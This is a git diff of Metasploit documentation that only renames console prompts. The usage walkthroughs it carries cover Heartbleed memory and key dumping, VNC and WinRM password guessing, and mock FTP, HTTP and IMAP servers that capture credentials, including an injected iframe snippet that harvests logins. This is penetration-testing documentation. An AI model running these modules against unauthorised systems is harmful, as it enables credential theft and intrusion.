auxiliary(scanner/ssh/ssh_identify_pubkeys) > options +msf auxiliary(scanner/ssh/ssh_identify_pubkeys) > options Module options (auxiliary/scanner/ssh/ssh_identify_pubkeys): @@ -84,7 +84,7 @@ Module options (auxiliary/scanner/ssh/ssh_identify_pubkeys): View the full module info with the info, or info -d command. -msf6 auxiliary(scanner/ssh/ssh_identify_pubkeys) > run +msf auxiliary(scanner/ssh/ssh_identify_pubkeys) > run [*] 192.168.112.178:22 SSH - Trying 1 cleartext key per user. [+] 192.168.112.178:22 - [1/1] - Public key accepted: 'root' with key '57:c3:11:5d:77:c5:63:90:33:2d:c5:c4:99:78:62:7a' (Private Key: No) - msfadmin@metasploitable diff --git a/documentation/modules/auxiliary/scanner/ssh/ssh_version.md b/documentation/modules/auxiliary/scanner/ssh/ssh_version.md index 9d1172576c01e..846ddb1451aee 100644 --- a/documentation/modules/auxiliary/scanner/ssh/ssh_version.md +++ b/documentation/modules/auxiliary/scanner/ssh/ssh_version.md @@ -44,10 +44,10 @@ Check for cryptographic issues. Defaults to `true` ### SSH-2.0 on GitHub ``` -msf5 > use auxiliary/scanner/ssh/ssh_version -msf5 auxiliary(scanner/ssh/ssh_version) > set RHOSTS github.com +msf > use auxiliary/scanner/ssh/ssh_version +msf auxiliary(scanner/ssh/ssh_version) > set RHOSTS github.com RHOSTS => github.com -msf5 auxiliary(scanner/ssh/ssh_version) > run +msf auxiliary(scanner/ssh/ssh_version) > run [*] 140.82.113.4 - Key Fingerprint: ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOMqqnkVzrm0SdG6UOoqKLsabgH5C9okWi0dh2l9GKJl [*] 140.82.113.4 - SSH server version: SSH-2.0-babeld-8405f9f3 @@ -89,12 +89,12 @@ msf5 auxiliary(scanner/ssh/ssh_version) > run ### Docker image ``` -msf5 > use auxiliary/scanner/ssh/ssh_version -msf6 auxiliary(scanner/ssh/ssh_version) > set rhosts 172.17.0.2 +msf > use auxiliary/scanner/ssh/ssh_version +msf auxiliary(scanner/ssh/ssh_version) > set rhosts 172.17.0.2 rhosts => 172.17.0.2 -msf6 auxiliary(scanner/ssh/ssh_version) > set verbose true +msf auxiliary(scanner/ssh/ssh_version) > set verbose true verbose => true -msf6 auxiliary(scanner/ssh/ssh_version) > run +msf auxiliary(scanner/ssh/ssh_version) > run [*] 172.17.0.2 - Key Fingerprint: ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIG52hWkobwr57akGxiK6eeMN9/M5MH+sQsNPv8Mci049 [*] 172.17.0.2 - SSH server version: SSH-2.0-OpenSSH_6.6p1 Ubuntu-2ubuntu1 diff --git a/documentation/modules/auxiliary/scanner/ssl/openssl_heartbleed.md b/documentation/modules/auxiliary/scanner/ssl/openssl_heartbleed.md index 280db80f7a8d4..4c28e43cb0752 100644 --- a/documentation/modules/auxiliary/scanner/ssl/openssl_heartbleed.md +++ b/documentation/modules/auxiliary/scanner/ssl/openssl_heartbleed.md @@ -118,12 +118,12 @@ $ curl https://localhost:8443 -k With the default action of `SCAN` we can determine if the server is vulnerable or not. ``` -msf5 > use auxiliary/scanner/ssl/openssl_heartbleed -msf5 auxiliary(scanner/ssl/openssl_heartbleed) > set rhosts 222.222.2.222 +msf > use auxiliary/scanner/ssl/openssl_heartbleed +msf auxiliary(scanner/ssl/openssl_heartbleed) > set rhosts 222.222.2.222 rhosts => 222.222.2.222 -msf5 auxiliary(scanner/ssl/openssl_heartbleed) > set rport 44330 +msf auxiliary(scanner/ssl/openssl_heartbleed) > set rport 44330 rport => 44330 -msf5 auxiliary(scanner/ssl/openssl_heartbleed) > run +msf auxiliary(scanner/ssl/openssl_heartbleed) > run [+] 222.222.2.222:44330 - Heartbeat response with leak, 65535 bytes [*] 222.222.2.222:44330 - Scanned 1 of 1 hosts (100% complete) @@ -140,9 +140,9 @@ watch 'cat openssl-1.0.1d/key.pem; cat openssl-1.0.1d/cert.pem' ``` ``` -msf5 auxiliary(scanner/ssl/openssl_heartbleed) > set action KEYS +msf auxiliary(scanner/ssl/openssl_heartbleed) > set action KEYS action => KEYS -msf5 auxiliary(scanner/ssl/openssl_heartbleed) > run +msf auxiliary(scanner/ssl/openssl_heartbleed) > run [*] 222.222.2.222:44330 - Scanning for private keys [*] 222.222.2.222:44330 - Getting public key constants... @@ -185,15 +185,15 @@ FbawD4i1LZxrihOuuy3nt34hIlprjtW2WV49NiWnbwEzZo6ejm5NRg== ### DUMP against s_server on Ubuntu 18.04 with OpenSSL 1.0.1d ``` -msf5 auxiliary(scanner/ssl/openssl_heartbleed) > set action DUMP +msf auxiliary(scanner/ssl/openssl_heartbleed) > set action DUMP action => DUMP -msf5 auxiliary(scanner/ssl/openssl_heartbleed) > run +msf auxiliary(scanner/ssl/openssl_heartbleed) > run [+] 222.222.2.222:44330 - Heartbeat response with leak, 65535 bytes [+] 222.222.2.222:44330 - Heartbeat data stored in /root/.msf4/loot/20191012213447_default_222.222.2.222_openssl.heartble_500776.bin [*] 222.222.2.222:44330 - Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed -msf5 auxiliary(scanner/ssl/openssl_heartbleed) > cat /root/.msf4/loot/20191012213447_default_222.222.2.222_openssl.heartble_500776.bin +msf auxiliary(scanner/ssl/openssl_heartbleed) > cat /root/.msf4/loot/20191012213447_default_222.222.2.222_openssl.heartble_500776.bin [*] exec: cat /root/.msf4/loot/20191012213447_default_222.222.2.222_openssl.heartble_500776.bin ���]�O���g�hE�_.[�MT��b��΋k�f�� @@ -354,12 +354,12 @@ Because arbitrary memory is dumped, a high volume application that uses openSSL fairly often. The `repeat` command can be used to execute the module multiple times. ``` -msf5 > use auxiliary/scanner/ssl/openssl_heartbleed -msf5 auxiliary(scanner/ssl/openssl_heartbleed) > set rhosts 222.222.2.222 +msf > use auxiliary/scanner/ssl/openssl_heartbleed +msf auxiliary(scanner/ssl/openssl_heartbleed) > set rhosts 222.222.2.222 rhosts => 222.222.2.222 -msf5 auxiliary(scanner/ssl/openssl_heartbleed) > set action DUMP +msf auxiliary(scanner/ssl/openssl_heartbleed) > set action DUMP action => DUMP -msf5 auxiliary(scanner/ssl/openssl_heartbleed) > repeat -n 10 run +msf auxiliary(scanner/ssl/openssl_heartbleed) > repeat -n 10 run [*] 222.222.2.222:443 - Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed diff --git a/documentation/modules/auxiliary/scanner/ssl/ssl_version.md b/documentation/modules/auxiliary/scanner/ssl/ssl_version.md index 0321e2c5fce95..62533a823c0be 100644 --- a/documentation/modules/auxiliary/scanner/ssl/ssl_version.md +++ b/documentation/modules/auxiliary/scanner/ssl/ssl_version.md @@ -35,10 +35,10 @@ List is dynamically generated. Defaults to `all` An example run against `google.com`, no real issues as expected. ``` -msf6 > use auxiliary/scanner/ssl/ssl_version -msf6 auxiliary(scanner/ssl/ssl_version) > set RHOSTS 172.217.12.238 +msf > use auxiliary/scanner/ssl/ssl_version +msf auxiliary(scanner/ssl/ssl_version) > set RHOSTS 172.217.12.238 RHOSTS => 172.217.12.238 -msf6 auxiliary(scanner/ssl/ssl_version) > run +msf auxiliary(scanner/ssl/ssl_version) > run [+] 172.217.12.238:443 - Connected with SSL Version: TLSv1.2, Cipher: ECDHE-RSA-AES256-GCM-SHA384 [+] 172.217.12.238:443 - Certificate saved to loot: /home/gwillcox/.msf4/loot/20221107150747_default_172.217.12.238_ssl.certificate_342145.txt @@ -57,7 +57,7 @@ msf6 auxiliary(scanner/ssl/ssl_version) > run [+] 172.217.12.238:443 - Connected with SSL Version: TLSv1.2, Cipher: AES128-GCM-SHA256 [*] 172.217.12.238:443 - Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed -msf6 auxiliary(scanner/ssl/ssl_version) > show options +msf auxiliary(scanner/ssl/ssl_version) > show options Module options (auxiliary/scanner/ssl/ssl_version): @@ -78,16 +78,16 @@ Module options (auxiliary/scanner/ssl/ssl_version): SSLVersion All yes SSL version to test (Accepted: All, SSLv3, TLSv1.0, TLSv1.2, TLSv1.3) THREADS 1 yes The number of concurrent threads (max one per host) -msf6 auxiliary(scanner/ssl/ssl_version) > +msf auxiliary(scanner/ssl/ssl_version) > ``` ### Expired certificate ``` -msf6 > use auxiliary/scanner/ssl/ssl_version -msf6 auxiliary(scanner/ssl/ssl_version) > set RHOSTS expired.badssl.com +msf > use auxiliary/scanner/ssl/ssl_version +msf auxiliary(scanner/ssl/ssl_version) > set RHOSTS expired.badssl.com RHOSTS => expired.badssl.com -msf6 auxiliary(scanner/ssl/ssl_version) > run +msf auxiliary(scanner/ssl/ssl_version) > run [+] 104.154.89.105:443 - Connected with SSL Version: TLSv1.2, Cipher: ECDHE-RSA-AES256-GCM-SHA384 [+] 104.154.89.105:443 - Certificate saved to loot: /home/gwillcox/.msf4/loot/20221107150939_default_104.154.89.105_ssl.certificate_786557.txt @@ -114,7 +114,7 @@ msf6 auxiliary(scanner/ssl/ssl_version) > run [+] 104.154.89.105:443 - Connected with SSL Version: TLSv1.2, Cipher: AES128-SHA256 [*] expired.badssl.com:443 - Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed -msf6 auxiliary(scanner/ssl/ssl_version) > show options +msf auxiliary(scanner/ssl/ssl_version) > show options Module options (auxiliary/scanner/ssl/ssl_version): @@ -135,5 +135,5 @@ Module options (auxiliary/scanner/ssl/ssl_version): SSLVersion All yes SSL version to test (Accepted: All, SSLv3, TLSv1.0, TLSv1.2, TLSv1.3) THREADS 1 yes The number of concurrent threads (max one per host) -msf6 auxiliary(scanner/ssl/ssl_version) > +msf auxiliary(scanner/ssl/ssl_version) > ``` diff --git a/documentation/modules/auxiliary/scanner/tftp/tftpbrute.md b/documentation/modules/auxiliary/scanner/tftp/tftpbrute.md index 65b336650d388..ec83febfbec12 100644 --- a/documentation/modules/auxiliary/scanner/tftp/tftpbrute.md +++ b/documentation/modules/auxiliary/scanner/tftp/tftpbrute.md @@ -41,15 +41,15 @@ echo "hello world" > /srv/tftp/test.txt Now we can find the file: ``` -msf5 > use auxiliary/scanner/tftp/tftpbrute -msf5 auxiliary(scanner/tftp/tftpbrute) > set rhosts 1.1.1.1 +msf > use auxiliary/scanner/tftp/tftpbrute +msf auxiliary(scanner/tftp/tftpbrute) > set rhosts 1.1.1.1 rhosts => 1.1.1.1 -msf5 auxiliary(scanner/tftp/tftpbrute) > set verbose true +msf auxiliary(scanner/tftp/tftpbrute) > set verbose true verbose => true -msf5 auxiliary(scanner/tftp/tftpbrute) > run +msf auxiliary(scanner/tftp/tftpbrute) > run [+] Found test.txt on 1.1.1.1 [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed -msf5 auxiliary(scanner/tftp/tftpbrute) > +msf auxiliary(scanner/tftp/tftpbrute) > ``` diff --git a/documentation/modules/auxiliary/scanner/ubiquiti/ubiquiti_discover.md b/documentation/modules/auxiliary/scanner/ubiquiti/ubiquiti_discover.md index 901b50cdc753a..e37fc756eae55 100644 --- a/documentation/modules/auxiliary/scanner/ubiquiti/ubiquiti_discover.md +++ b/documentation/modules/auxiliary/scanner/ubiquiti/ubiquiti_discover.md @@ -16,6 +16,6 @@ Many devices produced by Ubiquiti are affected by this issue. ``` - msf5 auxiliary(scanner/ubiquiti/ubiquiti_discover) > run + msf auxiliary(scanner/ubiquiti/ubiquiti_discover) > run [+] 192.168.1.1:10001 Ubiquiti Discovery metadata: {"ips"=>["192.168.0.1", "192.168.1.1"], "macs"=>["80:2a:a8:df:aa:bb", "f8:1e:df:f8:aa:bb"], "name"=>"ubnt", "model_short"=>"ER-X", "firmware"=>"EdgeRouter.ER-e50.v1.9.7+hotfix.4.5024279.171006.0255"} ``` diff --git a/documentation/modules/auxiliary/scanner/vnc/vnc_login.md b/documentation/modules/auxiliary/scanner/vnc/vnc_login.md index b83475840c0cd..af24fb8b8594a 100644 --- a/documentation/modules/auxiliary/scanner/vnc/vnc_login.md +++ b/documentation/modules/auxiliary/scanner/vnc/vnc_login.md @@ -19,27 +19,27 @@ authentication method. ### TigerVNC 1.7.0+dfsg-8ubuntu2 on Ubuntu 18.04 ``` -msf6 > use auxiliary/scanner/vnc/vnc_login -msf6 auxiliary(scanner/vnc/vnc_login) > set rhosts 111.111.1.222 +msf > use auxiliary/scanner/vnc/vnc_login +msf auxiliary(scanner/vnc/vnc_login) > set rhosts 111.111.1.222 rhosts => 111.111.1.222 -msf6 auxiliary(scanner/vnc/vnc_login) > set rport 5901 +msf auxiliary(scanner/vnc/vnc_login) > set rport 5901 rport => 5901 -msf6 auxiliary(scanner/vnc/vnc_login) > set password 111122223333 +msf auxiliary(scanner/vnc/vnc_login) > set password 111122223333 password => 111122223333 -msf6 auxiliary(scanner/vnc/vnc_login) > run +msf auxiliary(scanner/vnc/vnc_login) > run [*] 111.111.1.222:5901 - 111.111.1.222:5901 - Starting VNC login sweep [+] 111.111.1.222:5901 - 111.111.1.222:5901 - Login Successful: :111122223333 [-] 111.111.1.222:5901 - 111.111.1.222:5901 - LOGIN FAILED: :password (Incorrect: Authentication failed: Authentication failed) [*] 111.111.1.222:5901 - Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed -msf6 auxiliary(scanner/vnc/vnc_login) > +msf auxiliary(scanner/vnc/vnc_login) > ``` Once the module has finished running one can observe the gathered credentials using the `creds` command: ``` -msf6 auxiliary(scanner/vnc/vnc_login) > creds +msf auxiliary(scanner/vnc/vnc_login) > creds Credentials =========== diff --git a/documentation/modules/auxiliary/scanner/vnc/vnc_none_auth.md b/documentation/modules/auxiliary/scanner/vnc/vnc_none_auth.md index 6efaee5cf9c40..7f6a2ed9a9f4c 100644 --- a/documentation/modules/auxiliary/scanner/vnc/vnc_none_auth.md +++ b/documentation/modules/auxiliary/scanner/vnc/vnc_none_auth.md @@ -34,10 +34,10 @@ in a vulnerable way, run the following command: ### TigerVNC 1.12.80 on Windows ``` -msf6 > use auxiliary/scanner/vnc/vnc_none_auth -msf6 auxiliary(scanner/vnc/vnc_none_auth) > set rhosts 111.111.1.11 +msf > use auxiliary/scanner/vnc/vnc_none_auth +msf auxiliary(scanner/vnc/vnc_none_auth) > set rhosts 111.111.1.11 rhosts => 111.111.1.11 -msf6 auxiliary(scanner/vnc/vnc_none_auth) > run +msf auxiliary(scanner/vnc/vnc_none_auth) > run [*] 111.111.1.11:5900 - 111.111.1.11:5900 - VNC server protocol version: [3, 4].8 [*] 111.111.1.11:5900 - 111.111.1.11:5900 - VNC server security types supported: VeNCrypt,None @@ -49,12 +49,12 @@ msf6 auxiliary(scanner/vnc/vnc_none_auth) > run ### TigerVNC 1.7.0+dfsg-8ubuntu2 on Ubuntu 18.04 ``` -msf6 > use auxiliary/scanner/vnc/vnc_none_auth -msf6 auxiliary(scanner/vnc/vnc_none_auth) > set rhosts 111.111.1.222 +msf > use auxiliary/scanner/vnc/vnc_none_auth +msf auxiliary(scanner/vnc/vnc_none_auth) > set rhosts 111.111.1.222 rhosts => 111.111.1.222 -msf6 auxiliary(scanner/vnc/vnc_none_auth) > set rport 5901 +msf auxiliary(scanner/vnc/vnc_none_auth) > set rport 5901 rport => 5901 -msf6 auxiliary(scanner/vnc/vnc_none_auth) > run +msf auxiliary(scanner/vnc/vnc_none_auth) > run [*] 111.111.1.222:5901 - 111.111.1.222:5901 - VNC server protocol version: [3, 4].8 [*] 111.111.1.222:5901 - 111.111.1.222:5901 - VNC server security types supported: None diff --git a/documentation/modules/auxiliary/scanner/vxworks/urgent11_check.md b/documentation/modules/auxiliary/scanner/vxworks/urgent11_check.md index fd454c1a3e5e8..73132f2635c4b 100644 --- a/documentation/modules/auxiliary/scanner/vxworks/urgent11_check.md +++ b/documentation/modules/auxiliary/scanner/vxworks/urgent11_check.md @@ -19,13 +19,13 @@ ## Scenarios ``` -msf5 auxiliary(scanner/vxworks/urgent11_check) > set RHOSTS 192.168.86.1 192.168.86.2 +msf auxiliary(scanner/vxworks/urgent11_check) > set RHOSTS 192.168.86.1 192.168.86.2 RHOSTS => 192.168.86.1 192.168.86.2 -msf5 auxiliary(scanner/vxworks/urgent11_check) > set THREADS 2 +msf auxiliary(scanner/vxworks/urgent11_check) > set THREADS 2 THREADS => 2 -msf5 auxiliary(scanner/vxworks/urgent11_check) > set RPORTS 21 22 23 80 443 +msf auxiliary(scanner/vxworks/urgent11_check) > set RPORTS 21 22 23 80 443 RPORTS => 21 22 23 80 443 -msf5 auxiliary(scanner/vxworks/urgent11_check) > run +msf auxiliary(scanner/vxworks/urgent11_check) > run [*] 192.168.86.1:21 being checked [*] 192.168.86.2:21 being checked @@ -42,5 +42,5 @@ msf5 auxiliary(scanner/vxworks/urgent11_check) > run [+] 192.168.86.2:443 affected by CVE-2019-12258 [*] Scanned 2 of 2 hosts (100% complete) [*] Auxiliary module execution completed -msf5 auxiliary(scanner/vxworks/urgent11_check) > +msf auxiliary(scanner/vxworks/urgent11_check) > ``` diff --git a/documentation/modules/auxiliary/scanner/winrm/winrm_cmd.md b/documentation/modules/auxiliary/scanner/winrm/winrm_cmd.md index 2103b4f4972ed..2b92bdd06fb60 100644 --- a/documentation/modules/auxiliary/scanner/winrm/winrm_cmd.md +++ b/documentation/modules/auxiliary/scanner/winrm/winrm_cmd.md @@ -15,16 +15,16 @@ This module runs a command over the WinRM protocol. It needs login credentials t ### Run single command ``` -msf6 > use scanner/winrm/winrm_cmd -msf6 auxiliary(scanner/winrm/winrm_cmd) > set username Administrator +msf > use scanner/winrm/winrm_cmd +msf auxiliary(scanner/winrm/winrm_cmd) > set username Administrator username => Administrator -msf6 auxiliary(scanner/winrm/winrm_cmd) > set password pass12345 +msf auxiliary(scanner/winrm/winrm_cmd) > set password pass12345 password => pass12345 -msf6 auxiliary(scanner/winrm/winrm_cmd) > set rhosts 192.168.1.205 +msf auxiliary(scanner/winrm/winrm_cmd) > set rhosts 192.168.1.205 rhosts => 192.168.1.205 -msf6 auxiliary(scanner/winrm/winrm_cmd) > set cmd whoami /priv +msf auxiliary(scanner/winrm/winrm_cmd) > set cmd whoami /priv cmd => whoami /priv -msf6 auxiliary(scanner/winrm/winrm_cmd) > run +msf auxiliary(scanner/winrm/winrm_cmd) > run PRIVILEGES INFORMATION diff --git a/documentation/modules/auxiliary/scanner/winrm/winrm_login.md b/documentation/modules/auxiliary/scanner/winrm/winrm_login.md index 744472d011d5b..6c7f899bd21a3 100644 --- a/documentation/modules/auxiliary/scanner/winrm/winrm_login.md +++ b/documentation/modules/auxiliary/scanner/winrm/winrm_login.md @@ -67,16 +67,16 @@ in `PASSWORD`, and a `PASS_FILE` is listed, passwords will be generated from BOT ## Scenarios ``` -msf6 > use auxiliary/scanner/winrm/winrm_login -msf6 auxiliary(scanner/winrm/winrm_login) > set user_file ~/users +msf > use auxiliary/scanner/winrm/winrm_login +msf auxiliary(scanner/winrm/winrm_login) > set user_file ~/users user_file => ~/users -msf6 auxiliary(scanner/winrm/winrm_login) > set pass_file ~/passes +msf auxiliary(scanner/winrm/winrm_login) > set pass_file ~/passes pass_file => ~/passes -msf6 auxiliary(scanner/winrm/winrm_login) > set rhosts 192.168.1.205 +msf auxiliary(scanner/winrm/winrm_login) > set rhosts 192.168.1.205 rhosts => 192.168.1.205 -msf6 auxiliary(scanner/winrm/winrm_login) > set verbose true +msf auxiliary(scanner/winrm/winrm_login) > set verbose true verbose => true -msf6 auxiliary(scanner/winrm/winrm_login) > run +msf auxiliary(scanner/winrm/winrm_login) > run [!] No active DB -- Credential data will not be saved! [-] 192.168.1.205: - LOGIN FAILED: WORKSTATION\Administrator:hunter2 (Incorrect: ) @@ -90,7 +90,7 @@ msf6 auxiliary(scanner/winrm/winrm_login) > run [-] 192.168.1.205: - LOGIN FAILED: WORKSTATION\Guest:Winte.1.0 (Incorrect: ) [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed -msf6 auxiliary(scanner/winrm/winrm_login) > sessions +msf auxiliary(scanner/winrm/winrm_login) > sessions Active sessions =============== @@ -99,7 +99,7 @@ Active sessions -- ---- ---- ----------- ---------- 1 shell windows WinRM : (WIN10DEV\smash) WinRM (192.168.1.205) -msf6 auxiliary(scanner/winrm/winrm_login) > sessions 1 +msf auxiliary(scanner/winrm/winrm_login) > sessions 1 [*] Starting interaction with 1... Windows PowerShell diff --git a/documentation/modules/auxiliary/server/capture/ftp.md b/documentation/modules/auxiliary/server/capture/ftp.md index 901110dfc283e..85d10287e3901 100644 --- a/documentation/modules/auxiliary/server/capture/ftp.md +++ b/documentation/modules/auxiliary/server/capture/ftp.md @@ -36,12 +36,12 @@ This module creates a mock FTP server which accepts credentials before throwing Server: ``` -msf5 > use auxiliary/server/capture/ftp -msf5 auxiliary(server/capture/ftp) > set banner "Microsoft FTP Service" +msf > use auxiliary/server/capture/ftp +msf auxiliary(server/capture/ftp) > set banner "Microsoft FTP Service" banner => Microsoft FTP Service -msf5 auxiliary(server/capture/ftp) > run +msf auxiliary(server/capture/ftp) > run [*] Auxiliary module running as background job 0. -msf5 auxiliary(server/capture/ftp) > +msf auxiliary(server/capture/ftp) > [*] Started service listener on 0.0.0.0:21 [*] Server started. [+] FTP LOGIN 127.0.0.1:44526 root / SuperSecret9 @@ -66,7 +66,7 @@ PASS SuperSecret9 Server: ``` -msf5 > openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out certificate.pem +msf > openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out certificate.pem [*] exec: openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out certificate.pem Generating a RSA private key @@ -88,10 +88,10 @@ Organization Name (eg, company) [Internet Widgits Pty Ltd]: Organizational Unit Name (eg, section) []: Common Name (e.g. server FQDN or YOUR name) []: Email Address []: -msf5 > cat key.pem certificate.pem > selfsigned.pem +msf > cat key.pem certificate.pem > selfsigned.pem [*] exec: cat key.pem certificate.pem > selfsigned.pem -msf5 > cat /root/metasploit-framework/selfsigned.pem +msf > cat /root/metasploit-framework/selfsigned.pem [*] exec: cat /root/metasploit-framework/selfsigned.pem -----BEGIN PRIVATE KEY----- @@ -144,16 +144,16 @@ n9UgZH3Kq/ptE3Jw6gdj11XT1RSn5NgCutxeCEuPzUhwg3XmVL5fOASJbohQxdGb mVuIIRbrDW/sOgu2Viis -----END CERTIFICATE----- -msf5 > use auxiliary/server/capture/ftp -msf5 auxiliary(server/capture/ftp) > set srvport 990 +msf > use auxiliary/server/capture/ftp +msf auxiliary(server/capture/ftp) > set srvport 990 srvport => 990 -msf5 auxiliary(server/capture/ftp) > set ssl true +msf auxiliary(server/capture/ftp) > set ssl true ssl => true -msf5 auxiliary(server/capture/ftp) > set sslcert /root/metasploit-framework/selfsigned.pem +msf auxiliary(server/capture/ftp) > set sslcert /root/metasploit-framework/selfsigned.pem sslcert => /root/metasploit-framework/selfsigned.pem -msf5 auxiliary(server/capture/ftp) > run +msf auxiliary(server/capture/ftp) > run [*] Auxiliary module running as background job 0. -msf5 auxiliary(server/capture/ftp) > +msf auxiliary(server/capture/ftp) > [*] Started service listener on 0.0.0.0:990 [*] Server started. [+] FTP LOGIN 127.0.0.1:33618 admin / password123 diff --git a/documentation/modules/auxiliary/server/capture/http_basic.md b/documentation/modules/auxiliary/server/capture/http_basic.md index 50990bd9f4454..819b9ccb8eb92 100644 --- a/documentation/modules/auxiliary/server/capture/http_basic.md +++ b/documentation/modules/auxiliary/server/capture/http_basic.md @@ -45,14 +45,14 @@ This module creates a mock web server which, utilizing a HTTP 401 response, prom Server: ``` -msf5 > use auxiliary/server/capture/http_basic -msf5 auxiliary(server/capture/http_basic) > set REALM "level_15 or view_access" +msf > use auxiliary/server/capture/http_basic +msf auxiliary(server/capture/http_basic) > set REALM "level_15 or view_access" REALM => level_15 or view_access -msf5 auxiliary(server/capture/http_basic) > set uripath '/cisco' +msf auxiliary(server/capture/http_basic) > set uripath '/cisco' uripath => /cisco -msf5 auxiliary(server/capture/http_basic) > run +msf auxiliary(server/capture/http_basic) > run [*] Auxiliary module running as background job 0. -msf5 auxiliary(server/capture/http_basic) > +msf auxiliary(server/capture/http_basic) > [*] Using URL: http://0.0.0.0:80/cisco [*] Local IP: http://10.1.1.1:80/cisco [*] Server started. @@ -78,7 +78,7 @@ HTTP request sent, awaiting response... 404 Not Found Server: ``` -msf5 > openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out certificate.pem +msf > openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out certificate.pem [*] exec: openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out certificate.pem Generating a RSA private key @@ -100,10 +100,10 @@ Organization Name (eg, company) [Internet Widgits Pty Ltd]: Organizational Unit Name (eg, section) []: Common Name (e.g. server FQDN or YOUR name) []: Email Address []: -msf5 > cat key.pem certificate.pem > selfsigned.pem +msf > cat key.pem certificate.pem > selfsigned.pem [*] exec: cat key.pem certificate.pem > selfsigned.pem -msf5 > cat /root/metasploit-framework/selfsigned.pem +msf > cat /root/metasploit-framework/selfsigned.pem [*] exec: cat /root/metasploit-framework/selfsigned.pem -----BEGIN PRIVATE KEY----- @@ -155,16 +155,16 @@ NDO8po38u2ba52E56abfg0ZlFBqsua2s1TPHIyQ9iovTPMg1E5UTTGebaN6/BaMh Oj6N43ld9EONST6BhP3v1buoWHi1FMouocrUkUDuahiHoLlK4ERSUrb4uNnwko24 WdNCCmA8APA1qf2BYVqs -----END CERTIFICATE----- -msf5 > use auxiliary/server/capture/http_basic -msf5 auxiliary(server/capture/http_basic) > set ssl true +msf > use auxiliary/server/capture/http_basic +msf auxiliary(server/capture/http_basic) > set ssl true ssl => true -msf5 auxiliary(server/capture/http_basic) > set srvport 443 +msf auxiliary(server/capture/http_basic) > set srvport 443 srvport => 443 -msf5 auxiliary(server/capture/http_basic) > set sslcert /root/metasploit-framework/selfsigned.pem +msf auxiliary(server/capture/http_basic) > set sslcert /root/metasploit-framework/selfsigned.pem sslcert => /root/metasploit-framework/selfsigned.pem -msf5 auxiliary(server/capture/http_basic) > run +msf auxiliary(server/capture/http_basic) > run [*] Auxiliary module running as background job 0. -msf5 auxiliary(server/capture/http_basic) > +msf auxiliary(server/capture/http_basic) > [*] Using URL: https://0.0.0.0:443/4w0tML [*] Local IP: https://192.168.2.117:443/4w0tML [*] Server started. @@ -203,14 +203,14 @@ HTML Payload Injected: Server: ``` -msf5 > use auxiliary/server/capture/http_basic -msf5 auxiliary(server/capture/http_basic) > set uripath '/' +msf > use auxiliary/server/capture/http_basic +msf auxiliary(server/capture/http_basic) > set uripath '/' uripath => / -msf5 auxiliary(server/capture/http_basic) > set REALM "Wordpress.com Login" +msf auxiliary(server/capture/http_basic) > set REALM "Wordpress.com Login" REALM => Wordpress.com Login -msf5 auxiliary(server/capture/http_basic) > run +msf auxiliary(server/capture/http_basic) > run [*] Auxiliary module running as background job 0. -msf5 auxiliary(server/capture/http_basic) > +msf auxiliary(server/capture/http_basic) > [*] Using URL: http://0.0.0.0:80/ [*] Local IP: http://192.168.2.117:80/ [*] Server started. @@ -244,14 +244,14 @@ document.write('<iframe width="0" height="0" src="http://' + username + ':' + Sever: ``` -msf5 > use auxiliary/server/capture/http_basic -msf5 auxiliary(server/capture/http_basic) > set uripath '/' +msf > use auxiliary/server/capture/http_basic +msf auxiliary(server/capture/http_basic) > set uripath '/' uripath => / -msf5 auxiliary(server/capture/http_basic) > set REALM "Login" +msf auxiliary(server/capture/http_basic) > set REALM "Login" REALM => Login -msf5 auxiliary(server/capture/http_basic) > run +msf auxiliary(server/capture/http_basic) > run [*] Auxiliary module running as background job 0. -msf5 auxiliary(server/capture/http_basic) > +msf auxiliary(server/capture/http_basic) > [*] Using URL: http://0.0.0.0:80/ [*] Local IP: http://192.168.2.117:80/ [*] Server started. @@ -262,7 +262,7 @@ msf5 auxiliary(server/capture/http_basic) > Decoding the cookie: ``` -msf5 auxiliary(server/capture/http_basic) > irb +msf auxiliary(server/capture/http_basic) > irb [*] Starting IRB shell... [*] You are in auxiliary/server/capture/http_basic diff --git a/documentation/modules/auxiliary/server/capture/imap.md b/documentation/modules/auxiliary/server/capture/imap.md index f4aeb5483d42c..4c3f7c31c1dc1 100644 --- a/documentation/modules/auxiliary/server/capture/imap.md +++ b/documentation/modules/auxiliary/server/capture/imap.md @@ -37,12 +37,12 @@ This module creates a mock IMAP server which accepts credentials. Server: ``` -msf5 > use auxiliary/server/capture/imap -msf5 auxiliary(server/capture/imap) > set banner "The Microsoft Exchange IMAP4 service is ready." +msf > use auxiliary/server/capture/imap +msf auxiliary(server/capture/imap) > set banner "The Microsoft Exchange IMAP4 service is ready." banner => The Microsoft Exchange IMAP4 service is ready. -msf5 auxiliary(server/capture/imap) > run +msf auxiliary(server/capture/imap) > run [*] Auxiliary module running as background job 0. -msf5 auxiliary(server/capture/imap) > +msf auxiliary(server/capture/imap) > [*] Started service listener on 0.0.0.0:143 [*] Server started. [*] IMAP LOGIN 127.0.0.1:42972 metasploit@documentation.com / rapid7#1 @@ -66,7 +66,7 @@ Connection closed by foreign host. Server: ``` -msf5 > openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out certificate.pem +msf > openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out certificate.pem [*] exec: openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out certificate.pem Generating a RSA private key @@ -88,10 +88,10 @@ Organization Name (eg, company) [Internet Widgits Pty Ltd]: Organizational Unit Name (eg, section) []: Common Name (e.g. server FQDN or YOUR name) []: Email Address []: -msf5 > cat key.pem certificate.pem > selfsigned.pem +msf > cat key.pem certificate.pem > selfsigned.pem [*] exec: cat key.pem certificate.pem > selfsigned.pem 